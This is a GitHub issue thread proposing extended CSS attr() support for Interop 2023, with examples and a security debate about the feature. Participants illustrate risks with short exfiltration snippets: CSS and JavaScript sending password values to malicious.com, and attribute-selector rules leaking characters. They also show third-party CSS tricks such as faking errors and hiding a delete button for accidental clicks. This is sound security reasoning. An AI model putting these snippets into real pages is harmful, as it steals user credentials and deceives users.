Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

attr() support extended capabilities (Interop 2023) #86

Closed
brandonmcconnell opened this issue May 26, 2022 · 38 comments
Closed

attr() support extended capabilities (Interop 2023) #86

brandonmcconnell opened this issue May 26, 2022 · 38 comments
Labels
focus-area-proposal Focus Area Proposal

Comments

@brandonmcconnell
Copy link

brandonmcconnell commented May 26, 2022

Description

The attr() CSS function is used to retrieve the value of an attribute of the selected element and use it in the stylesheet. It can also be used on pseudo-elements, in which case the value of the attribute on the pseudo-element's originating element is returned. (MDN)

Specification

CSS Values and Units Module Level 5
# attr-notation

Tests

wpt / css / q: css-values

More tests courtesy of @karlcow (from comment below) using…

find css -type f | xargs grep 'attr(' | sort | grep -v 'ref.html' | grep -v '.py' | sed 's,\:.*,,' | sed 's,^,https://wpt.fyi/,' | uniq

wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-flex-001.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-flex-002.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-flex-003.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-grid-001.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-grid-002.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-grid-003.html
wpt.fyi/css/css-conditional/at-supports-namespace-001.html
wpt.fyi/css/css-content/attr-case-sensitivity-001.html
wpt.fyi/css/css-content/attr-case-sensitivity-002.html
wpt.fyi/css/css-content/attr-case-sensitivity-003.html
wpt.fyi/css/css-gcpm/string-set-012.html
wpt.fyi/css/css-values/attr-color-invalid-cast.html
wpt.fyi/css/css-values/attr-color-invalid-fallback.html
wpt.fyi/css/css-values/attr-color-valid.html
wpt.fyi/css/css-values/attr-in-max.html
wpt.fyi/css/css-values/attr-invalid-type-001.html
wpt.fyi/css/css-values/attr-invalid-type-002.html
wpt.fyi/css/css-values/attr-invalid-type-008.html
wpt.fyi/css/css-values/attr-length-invalid-cast.html
wpt.fyi/css/css-values/attr-length-invalid-fallback.html
wpt.fyi/css/css-values/attr-length-valid-zero-nofallback.html
wpt.fyi/css/css-values/attr-length-valid-zero.html
wpt.fyi/css/css-values/attr-length-valid.html
wpt.fyi/css/css-values/attr-px-invalid-cast.html
wpt.fyi/css/css-values/attr-px-invalid-fallback.html
wpt.fyi/css/css-values/attr-px-valid.html
wpt.fyi/css/css-values/calc-rgb-percent-001.html
wpt.fyi/css/css-variables/variable-generated-content-dynamic-001.html
wpt.fyi/css/cssom/css-style-attr-decl-block.html
wpt.fyi/css/cssom/serialize-values.html

Rationale

This has been a highly anticipated feature for several years and would do a great deal to equip developers to utilize values defined in markup within their styles. The workaround thus far has been to exclude these values within CSS custom properties (variables), but that often requires having values in two places— (1) an attribute for proper syntax for a given element and (2) a CSS custom property for usage within stylesheets. but for many, especially non-devs who simply work with HTML, this

Supporting rationale

  • Many great arguments voiced in this Chromium Dev thread (246571)
  • attr() is more semantic — avoiding forcing styles into the markup using CSS custom properties as a workaround
  • avoiding redundancy — using CSS custom properties instead of being able to use attr() properly often requires addtl setup within markup simply to allow value exposure to CSS
  • would make data management more achievable in copywriting stage where editors work more predominantly with markup than they do inline styling

Supporting examples

Click to expand relevant example

A11Y labels (tooltip example)

❌ w/o extended `attr()` features — using `data-` attr workaround
```html
<button
aria-label="Some label here"
data-label="Some label here"
>
Button
</button>

<style>
button:hover::after,
button:focus::after {
    /* FALLBACK VALUE NOT SUPPORTED */
    content: attr(data-label);
}
</style>
```

❌ w/o extended `attr()` features — using CSS custom properties workaround
```html
<button
aria-label="Some label here"
style="--label: 'Some label here'"
>
Button
</button>

<style>
button:hover::after,
button:focus::after {
    content: var(--label, "default label");
}
</style>
```

✅ w/ extended `attr()` features

```html
<button aria-label="Some label here">Button</button>

<style>
button:hover::after,
button:focus::after {
    content: attr(aria-label, "default label");
}
</style>
```

<type-or-unit> (units example)

❌ w/o extended `attr()` features — using `data-` attr workaround
```html
<div data-size="100" style="width: 100px; height: 100px;"></div>

<style>
div {
    background-color: cyan;
    /* VALUE TYPE-CASTING NOT SUPPORTED */
}
div::after {
    content: "Size: " attr(data-size);
}
</style>
```

❌ w/o extended `attr()` features — using CSS custom properties workaround
```html
<div style="--size: 100px; --size-label: '100';"></div>

<style>
:root {
    /* Coupling variables creates risk of mismatched values */
    --fallback-size: 50px;
    --fallback-size-label: "50";
}
div {
    background-color: cyan;
    /* VALUE TYPE-CASTING NOT SUPPORTED */
    width: var(--size, var(--fallback-size));
    height: var(--size, var(--fallback-size));
}
div::after {
    content: "Size: " var(--size-label, var(--fallback-size-label));
}
</style>
```

✅ w/ extended `attr()` features

```html
<div data-size="100"></div>

<style>
:root {
    --fallback-size: "50";
}
div {
    background-color: cyan;
    width: attr(data-size px, var(--fallback-size));
    height: attr(data-size px, var(--fallback-size));
}
div::after {
    content: "Size: " attr(data-size, var(--fallback-size));
}
</style>
```

background-image (url example)

❌ w/o extended attr() features — using data- attr workaround (not possible without CSS custom properties)

<div
  data-image="/images/background.jpg"
  style="--image: url('/images/background.jpg');"
></div>

<style>
  div {
    background-image: var(--image);
  }
  div::after {
    content: "Image filepath: " attr(data-image);
  }
</style>

❌ w/o extended attr() features — using CSS custom properties workaround

<div
  style="
    --image-filepath: '/images/background.jpg';
    --image: url('/images/background.jpg');
  "
></div>

<!-- ** important to note here that interpolating the value of `--image-filepath` into `--image` is not yet supported in CSS custom properties, so `--image: url(var(--image-filepath))` would not work -->

<style>
  div {
    background-image: var(--image, none);
  }
  div::after {
    content: "Image filepath: " var(--image-filepath, 'no file present');
  }
</style>

✅ w/ extended attr() features

<div data-image="/images/background.jpg"></div>

<style>
  div {
    background-image: attr(data-image url, '');
  }
  div::after {
    content: "Image filepath: " attr(data-image, 'no file present');
  }
</style>

Current Browser Compatibility (view on MDN)

Expand to see screenshot of CSS attr() browser compatibility chart (from MDN)

CSS attr() function Current Browser Compatibility

@foolip
Copy link
Member

foolip commented Jun 2, 2022

Hi @brandonmcconnell! We haven't started planning for Interop 2023 yet, but I've created #78 which you can watch to see when things start happening. At some point there will be a public proposal process, and I'd suggest raising this then.

Interpreting the compat tables is a bit tricky since it's just a lot of red, can you give a few code examples of things that already work in browsers and what things do not?

@brandonmcconnell
Copy link
Author

Sure, I'll post a few examples later today/tomorrow. Thanks!

@una
Copy link

una commented Sep 14, 2022

Extended attr() support would be really useful!

@foolip
Copy link
Member

foolip commented Sep 16, 2022

@brandonmcconnell We just opened up for Interop 2023 proposals yesterday, see https://github.com/web-platform-tests/interop/blob/main/2023/README.md for the process and what to expect.

You have used the same sections as our Focus Area proposal template, so if you like I can change the label to make it such a proposal. Alternatively you could recreate it using https://github.com/web-platform-tests/interop/issues/new?assignees=&labels=focus-area-proposal&template=focus-area-proposal.yml. Which would you prefer?

@brandonmcconnell
Copy link
Author

@foolip If you wouldn't mind just re-labeling it—if that would suffice—that works for me. Thanks!

@gsnedders gsnedders added focus-area-proposal Focus Area Proposal and removed proposal labels Sep 16, 2022
@gsnedders gsnedders added this to the Interop 2023 milestone Sep 16, 2022
@foolip
Copy link
Member

foolip commented Sep 23, 2022

@brandonmcconnell for the tests you linked to this wpt.fyi query:
https://wpt.fyi/results/css?label=master&label=experimental&aligned&q=attr&view=subtest

That includes a lot of tests that aren't about attr(), but this subset is probably mostly about attr():
https://wpt.fyi/results/css/css-values?label=master&label=experimental&aligned&view=subtest&q=attr

At a glance I think some tests are missing, like for percentages and URLs.

If anyone who knows this feature well could take a look, that'd be very helpful!

@gsnedders
Copy link
Member

At a glance I think some tests are missing, like for percentages and URLs.

It's somewhat unsurprising that we have few tests given lack of implementations; certainly there could be a vastly larger test suite for this.

@brandonmcconnell
Copy link
Author

brandonmcconnell commented Sep 24, 2022

@brandonmcconnell for the tests you linked to this wpt.fyi query: https://wpt.fyi/results/css?label=master&label=experimental&aligned&q=attr&view=subtest

That includes a lot of tests that aren't about attr(), but this subset is probably mostly about attr(): https://wpt.fyi/results/css/css-values?label=master&label=experimental&aligned&view=subtest&q=attr

@foolip You're absolutely right. Not sure how that happened, but I've replaced it above now. Thanks!

@karlcow
Copy link

karlcow commented Sep 26, 2022

Maybe
find css -type f | xargs grep 'attr(' | sort | grep -v 'ref.html' | grep -v '.py' | sed 's,\:.*,,' | sed 's,^,https://wpt.fyi/,' | uniq

https://wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-flex-001.html
https://wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-flex-002.html
https://wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-flex-003.html
https://wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-grid-001.html
https://wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-grid-002.html
https://wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-grid-003.html
https://wpt.fyi/css/css-conditional/at-supports-namespace-001.html
https://wpt.fyi/css/css-content/attr-case-sensitivity-001.html
https://wpt.fyi/css/css-content/attr-case-sensitivity-002.html
https://wpt.fyi/css/css-content/attr-case-sensitivity-003.html
https://wpt.fyi/css/css-gcpm/string-set-012.html
https://wpt.fyi/css/css-values/attr-color-invalid-cast.html
https://wpt.fyi/css/css-values/attr-color-invalid-fallback.html
https://wpt.fyi/css/css-values/attr-color-valid.html
https://wpt.fyi/css/css-values/attr-in-max.html
https://wpt.fyi/css/css-values/attr-invalid-type-001.html
https://wpt.fyi/css/css-values/attr-invalid-type-002.html
https://wpt.fyi/css/css-values/attr-invalid-type-008.html
https://wpt.fyi/css/css-values/attr-length-invalid-cast.html
https://wpt.fyi/css/css-values/attr-length-invalid-fallback.html
https://wpt.fyi/css/css-values/attr-length-valid-zero-nofallback.html
https://wpt.fyi/css/css-values/attr-length-valid-zero.html
https://wpt.fyi/css/css-values/attr-length-valid.html
https://wpt.fyi/css/css-values/attr-px-invalid-cast.html
https://wpt.fyi/css/css-values/attr-px-invalid-fallback.html
https://wpt.fyi/css/css-values/attr-px-valid.html
https://wpt.fyi/css/css-values/calc-rgb-percent-001.html
https://wpt.fyi/css/css-variables/variable-generated-content-dynamic-001.html
https://wpt.fyi/css/cssom/css-style-attr-decl-block.html
https://wpt.fyi/css/cssom/serialize-values.html

@brandonmcconnell brandonmcconnell changed the title Add support for CSS attr() function extended capabilities attr() support extended capabilities Oct 2, 2022
@foolip foolip moved this to Proposed in Interop 2023 Oct 7, 2022
@foolip foolip removed this from the Interop 2023 milestone Oct 7, 2022
@gsnedders
Copy link
Member

w3c/csswg-drafts#5092 I think might be the most significant open issue on the spec here.

@una
Copy link

una commented Oct 28, 2022

My understanding is there are security issues for the url() syntax of attr() but i'm curious if we can scope this down to specific values (i.e. color, number, percentage, etc)

@brandonmcconnell
Copy link
Author

@gsnedders @una Thanks, it looks like that's a good place to start in terms of security for this. Would it be better to continue the security discussion in that other issue or continue it here in the interop-specific issue?

Nowadays, it's easier than ever—using puppeteer-like tools—to efficiently run web scraping and XSS workarounds.

I wonder if there's a better way to implement security measures for CSS to prevent violations like that. Security is crucial to any language where user data can be exposed, however, when it's so easy to work around such limitations in JS, adding tight limitations around CSS like this feels more like a hindrance to the language than a help (imo).

In the thread @gsnedders mentioned, @tabatkins mentioned a user could do something malicious like this:

input[type="password"] {
  background-image: url(concat('https://malicious.com/new?pw=', attr(value string)));
}

This won't currently work though it may very soon, with CSS custom functions and Houdini soon to be supported. With JS, AFAICT someone could accomplish the same malicious goal with this simple JS:

const password = document.querySelector('input[type="password"]');
const sendPassword = () => fetch(`https://malicious.com/new?pw=${password.value}`);
sendPassword();
password.addEventListener('change', sendPassword);

The JS version here actually takes the live property value, whereas the CSS function only looks at the static attribute value; however, I also have another issue open to expose the live value property to CSS for use as well:
w3c/csswg-drafts#7869

Weighing between the two, a site's JS and CSS both always have full access to that site's code, so JS is just as vulnerable as CSS here, and a developer should be careful when adding either, though granted a developer is more aware of JS risks than any CSS risks, which is valid today. The real risk would appear to be XSS attacks, where JS/browsers already defend against JS XSS attacks, but not so for CSS. I think it would be best in the long run for CSS to have full exposure to site content as JS does without tremendously limiting it, though such a change would require some strong preventative measures as JS already takes. iframes also implement a similar type of security where the iframe itself sets which permissions the iframe has and what it can access.

What if external CSS had this same sort of restriction where developers had to explicitly set which permissions a stylesheet had if it needed to access more vulnerable pieces on a page (e.g. form fields) that would arguably be very beneficial for CSS to be able to access? I do think passwords specifically could/should require their own separate permission if they were ever to be supported.

I'm not sure what such an implementation/API could look like for CSS, maybe something like this:

<link href="./styles" rel="stylesheet" allow="form password localstorage" />
<style allow="form password localstorage"></style>

TL;DR: Security is crucial, and I think adding a feature like this prompts a deeper dive into how security is handled in CSS. I think native, same-origin JS and CSS should share the same visibility/exposure for most data, and 3rd-party JS and CSS should have to jump through the same or similar hoops to access local data (XSS), whether it be a special attribute like the allow example I used above or something else entirely.

These are just my initial thoughts as I sit here in an overcrowded coffee shop, but I'd love to keep this dialogue going and explore what that could look like.

Thanks, all!

@ExtAnimal
Copy link

When will this become a standard?

It will be some amazingly useful, but I suspect I will be retired before I get to use it.

Pulling data in from data-xxx attributes and using them in combination with CSS properties can enable simplification of lot of code

@una
Copy link

una commented Nov 3, 2022

@brandonmcconnell I agree that allowing arbitrary URLs could be dangerous. Could we could go the :visited route with this and potentially limit the syntax capabilities to specific syntax values like color and percentage? Do you forsee a security risk there?

@JoshuaLindquist
Copy link

A comment in the CSSWG security issue describes how attr() can be abused without url access.
w3c/csswg-drafts#5092 (comment)

That doesn't necessarily rule out all of the features, but if data- attributes and url are both a concern, then a lot of the common use cases are off the table until this is resolved.

I would love to see this as part of Interop 2023 - The CSS Shapes spec shows a useful example using shape-outside: attr(src url); that does not work anywhere and has been taunting me for years. Unfortunately, it really seems like this is something that needs more time in the Working Group.

@jakearchibald
Copy link

Security is essential, but we shouldn't pretend that third-party CSS is in any way safe. If you include other-site CSS on your site, they own your site now.

body {
  display: none;
}

html::after {
  content: 'HTTP 500 Server Error';
}

Imagine if the third party was doing that for some small percent of users. It'd be difficult to debug, and erode user trust.

More subtle hacks could just remove the 'buy' button occasionally, or rearrange the paragraphs in content.

.price-value::before {
  content: '1';
}

Oh shit prices just went up.

.delete-everything-button {
  opacity: 0;
  position: absolute;
  top: 500px;
  left: 300px;
  z-index: 10000;
}

Now a dangerous button can be accidentally clicked.

Etc etc. Third party CSS is not safe.

@brandonmcconnell
Copy link
Author

brandonmcconnell commented Nov 9, 2022

@jakearchibald That's kinda my point too. Third-party scripts and styles are both already unsafe.

I don't think we open the door all that much more by allowing wider access to attr(), and if it is deemed as such, then I feel a better approach might be to expose some way of whitelisting/blacklisting capabilities (e.g. properties, functions, etc.) deemed vulnerable for 3rd-party styles.

Integrating with third-party sources always poses a risk and requires a level of trust with that source. Exposing whitelist/blacklist options may help to mitigate that risk, but I don't think avoiding it altogether is a good long-term solution. That's my hot take 🤷🏻‍♂️

@jakearchibald
Copy link

I think allow/blocklist solutions creates a false sense of security. Attributes are already exposed to CSS. Yes, attr() allows you to do more with them, but they're already visible to CSS.

@brandonmcconnell
Copy link
Author

brandonmcconnell commented Nov 10, 2022

@jakearchibald I'm aware that some attributes are already exposed, but how would someone currently—using CSS—access the value of a field's "value" attribute?

It could be possible; I just can't think of any way to do that off the top of my head. 😄

@keithamus
Copy link

It's possible to use attribute selectors to ex-filtrate individual characters, or fragments. It would lead to a giant load of CSS but a script could knock up this in a jiffy.

[some-attribute*="a"] { background-image: url(https://my-site.com/exfiltrate?letter=a) }
[some-attribute*="b"] { background-image: url(https://my-site.com/exfiltrate?letter=b) }
[some-attribute*="c"] { background-image: url(https://my-site.com/exfiltrate?letter=c) }
/*...*/
[some-attribute*="a"][some-attribute*="b"][some-attribute*="c"] { background-image: url(https://my-site.com/exfiltrate?letter=a,b,c) }

@foolip
Copy link
Member

foolip commented Nov 11, 2022

In the State of CSS 2022 question about browser incompatibilities, there were some mentions of attr(), although not enough to make the top list in #248. I counted a total of 5 mentions, with one adding a bit of detail:

Making the attr() function truly useful, as explained on his article.
https://css-tricks.com/css-attr-function-got-nothin-custom-properties/#aa-the-css3-values-spec-in-candidate-recommendation-has-a-way-to-make-attr-useful

@foolip
Copy link
Member

foolip commented Nov 11, 2022

In the MDN short survey on CSS & HTML, "CSS attribute references (attr() function)" was selected by ~27% of survey takers, putting it in the top third of the 20 options. (There is some uncertainty as with any survey data.)

@arturjanc
Copy link

Security is essential, but we shouldn't pretend that third-party CSS is in any way safe.

I largely agree with @jakearchibald, but want to point out that we unfortunately don't live in a binary world where CSS is either trusted (controlled by the application itself) or "third-party": there are many situations under which websites currently safely load CSS that is not directly under their control.

For example, there are CSS sanitizers that disallow the use of selectors, @import, etc., but allow the use of some CSS properties and functions. Websites that sanitize user-controlled styles this way don't load "third-party CSS", they just permit users to have some amount of control over styling of the UI. This is more common than it might seem because inlne style attributes already don't allow the use of most "dangerous" features of CSS, so it's relatively simple to write sanitizers for style attributes without exposing an application to most CSS-based attacks.

More concretely, consider markup such as <div data-secret="..." style="[sanitized CSS]">; today, the sanitized CSS will not be able to exfiltrate the data-secret attribute, but under this proposal it will become possible.

Another example are the consequences of this feature for Content Security Policy. Today, many sites focus on preventing script execution by setting script-src, but have relatively lax policies when it comes to styles, such as style-src 'self' 'unsafe-inline'. When such applications suffer from an injection, attackers generally shouldn't be able to gain script execution (at least if the application has a strict CSP) and should also not be able to execute most CSS-based attacks due to the inability to recursively @import malicious attacker-controlled stylesheets with CSS3 selectors to leak attribute values.

If an attacker can just inject a <style> block using attr() to directly exfiltrate the value of a sensitive attribute (e.g. a CSRF token), this will result in a significant security regression for many sites using CSP.

As a comment to #86 (comment), today there is a substantial difference in the expressive capabilities of CSS and JS -- not just in the eyes of developers, but from a web platform perspective: for example, powerful new security APIs such as Trusted Types and the Sanitizer API focus on preventing script execution, but enforce no limitations on the injection of styles. If we add new expressive capabilities to CSS without taking into account that existing applications as well as the platform itself make a distinction between the power scripts and styles, we will cause security regressions.

Because of this, I feel fairly strongly that the design of attr() needs to include restrictions similar to what @una proposed above, e.g. only allow attribute types that don't allow the use of attribute values in URLs.

@jakearchibald
Copy link

Is there an example of a CSS sanitizer that:

  • Aims to prevent reading attribute values
  • Does not strip attr()

@arturjanc
Copy link

Is there an example of a CSS sanitizer that:

  • Aims to prevent reading attribute values
  • Does not strip attr()

Sure, take a look at the first two restrictive examples of the use of DOMPurify and the native Sanitizer API from https://github.com/cure53/DOMPurify and https://web.dev/sanitizer/ respectively:

>>> DOMPurify.sanitize("<b style='content: attr(foo)'>foo</b><style>foo</style>", {ALLOWED_TAGS: ['b']})
<b style="content: attr(foo)">foo</b>
>>> document.body.setHTML("<b style='content: attr(foo)'>foo</b><style>foo</style>", { sanitizer: new Sanitizer({allowElements: [ "b" ]}) });
>>> document.body.innerHTML
'<b style="content: attr(foo)">foo</b>foo'

@brandonmcconnell
Copy link
Author

Related to this conversation, from another conversation happening on the value() idea proposal:

@brandonmcconnell:

Perhaps for this case specifically, what could help here to avoid any additional security vulnerabilities with value() would be some secure way for only first-party scripts to whitelist elements that would allow access to them using value() in this way, something like a "public" attribute, but more secure than a mere attribute.

@arturjanc:

Limiting value() to data explicitly marked as readable by stylesheets seems like a reasonable possible solution to explore here.

@brandonmcconnell:

Yeah, I'm all for that!

With that in mind, maybe this could actually work using something as simple as a special HTML attribute that browsers will require elements to have in order to execute either attr() or value() on them since only first-party scripts would have the ability to add such an attribute post-pageload which are already trusted anyway.

CSS attr() and value() would then be limited to only those "whitelisted" elements. 👏🏼

@jakearchibald
Copy link

@arturjanc

Sure, take a look at the first two restrictive examples of the use of DOMPurify and the native Sanitizer API from https://github.com/cure53/DOMPurify and https://web.dev/sanitizer/ respectively:

Hmm, good example. Could attr() restrictions be limited to places that cannot already select based on attribute? So, attr() would fail on inline styles, but work in stylesheets?

@arturjanc
Copy link

This would address part of the problem, but sadly not everything we should arguably care about. The two major remaining cases I can think of are:

  • Pages with a strict CSP + style-src 'self' 'unsafe-inline'. In the event of an HTML injection bug they are currently generally safe from selector-based exfiltration of attribute values (because the attacker can't @import new stylesheets to recursively leak subsequent characters), but we'd allow the attacker to inject a <style> that can directly leak the contents of all attributes.
  • CSS sanitizers which allow <style> elements and parse/sanitize the stylesheet to remove "dangerous" features (e.g. at-rules, etc.) but allow the use of CSS functions. This one is somewhat hypothetical though, I don't have a concrete example of such a sanitizer.

At a high level, my guess is that the two directions in which we can go to mitigate these concerns would be:

  1. Prevent the use of attribute values within url(), in particular ban concatenation with the string attribute type inside url().
  2. Allow the use of attr() for explicitly allowlisted elements/attributes, e.g. we could have a data-css- attribute prefix and make any such values accessible to CSS, or have a per-element attribute that would allow the given element's attributes to be used with attr() as mentioned by @brandonmcconnell above.

These approaches are not mutually exclusive, e.g. the attribute allowlisting approach could be something that premits the use of attr() within url(), as long as the attribute/element is allowlisted for access from CSS. I'm kind of hopeful that something along these lines will be a reasonable path forward here.

@jakearchibald
Copy link

The restrictions in url() seem ok, but whatever restrictions are applied, it'd be nice to have a way to opt-out of the restrictions.

@arturjanc
Copy link

In the model I was thinking of above, opting out of the restrictions would happen per-element; if you have an element on which you want to use attr() within a url(), you'd add an attribute to expose the value to CSS, e.g.

<style>
*[data-animal] {
  background-image: url(concat('https://site.example/generate-animal?animal=', attr(data-animal string)));
}
</style>

and

<div data-animal="hippopotamus" allow-attribute-access-from-css></div>

or

<div data-animal="meerkat" allow-attribute-access-from-css="data-animal"></div>

(the attribute name is obviously bad, this is just for the sake of discussion)

@brandonmcconnell
Copy link
Author

brandonmcconnell commented Nov 16, 2022

I really like that idea, @arturjanc. It does really well to marry the two ideas of enforcing default restrictions while allowing exposure to CSS via whitelisting as we previously discussed.

We can certainly bikeshed on the name some more, as you mentioned. Maybe something like cssx (CSS eXpose), where space-delimited attribute names can be used optionally.

No special access to any attributes:

<div data-username="sampleuser" data-password="abc123"></div>
.password-stasher {
  background-image: url(concat('/?usr=', attr(data-username string), '&pwd=', attr(data-password string)));
  /* Should this property be computed at all?
     When attributes are used which are not exposed,
     should the attributes be replaced with empty strings
     (nullish for type), or break the property value completely */
}

Allow access to all attributes:

<div data-username="sampleuser" data-password="abc123" cssx></div>
.password-stasher {
  background-image: url(concat('/?usr=', attr(data-username string), '&pwd=', attr(data-password string)));
  /* evaluates to `url('/?usr=sampleuser&pwd=abc123')` */
}

Allow access to specific attributes:

<div data-username="sampleuser" data-password="abc123" cssx="data-username"></div>
.password-stasher {
  background-image: url(concat('/?usr=', attr(data-username string), '&pwd=', attr(data-password string)));
  /* Per the same question(s) I posed in the first example,
     would this property value break completely or evaluate to
     `url('/?usr=sampleuser&pwd=')` where `attr(data-password string)`
     evals to an empty string (nullish for type) */
}

If we want to be a bit more verbose/explicit with the naming, we could use names like these (below) which directly relate to their CSS function couterparts

  • css-expose-attr
  • css-expose-value (for value())

@jgraham
Copy link
Contributor

jgraham commented Nov 16, 2022

Just a note: this design discussion should probably happen in either the HTML repo, or the relevant CSS repo; the Interop repo is likely missing many of the people who would like to be involved.

@ExE-Boss
Copy link

Note that it’s not possible to use any CSS function inside url(…) since it’s a legacy thing which always parses its first argument as a raw string: https://drafts.csswg.org/css-syntax/#consume-a-url-token

@brandonmcconnell
Copy link
Author

@ExE-Boss Could url() be adjusted to accept any URL token type in CSS? Once CSS functions become available, it will be possible to concatenate and convert string types to URL types AFAIK.

@tabatkins
Copy link

Yes, we created the src() function precisely to allow that use-case (using a function in url()).

@nairnandu
Copy link
Contributor

Thank you for proposing attr() for inclusion in Interop 2023.

We wanted to let you know that this proposal was not selected to be part of Interop this year. We had many strong proposals, and could not accept them all. There is a lot of support for attr(), but it may need more standards work before it’s ready for adoption. Resubmitting a proposal for this feature in the future would be welcome.

For an overview of our process, see the proposal selection summary. Thank you again for contributing to Interop 2023!

Posted on behalf of the Interop team.

@brandonmcconnell
Copy link
Author

brandonmcconnell commented Sep 22, 2023

@foolip @nairnandu Could we look into resurrecting this one for Interop 2024 as well?

@brandonmcconnell brandonmcconnell changed the title attr() support extended capabilities attr() support extended capabilities (Interop 2023) Oct 3, 2023
@brandonmcconnell
Copy link
Author

Created a new issue for this in Interop 2024: #521

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
focus-area-proposal Focus Area Proposal
Projects
No open projects
Status: Proposed
Development

No branches or pull requests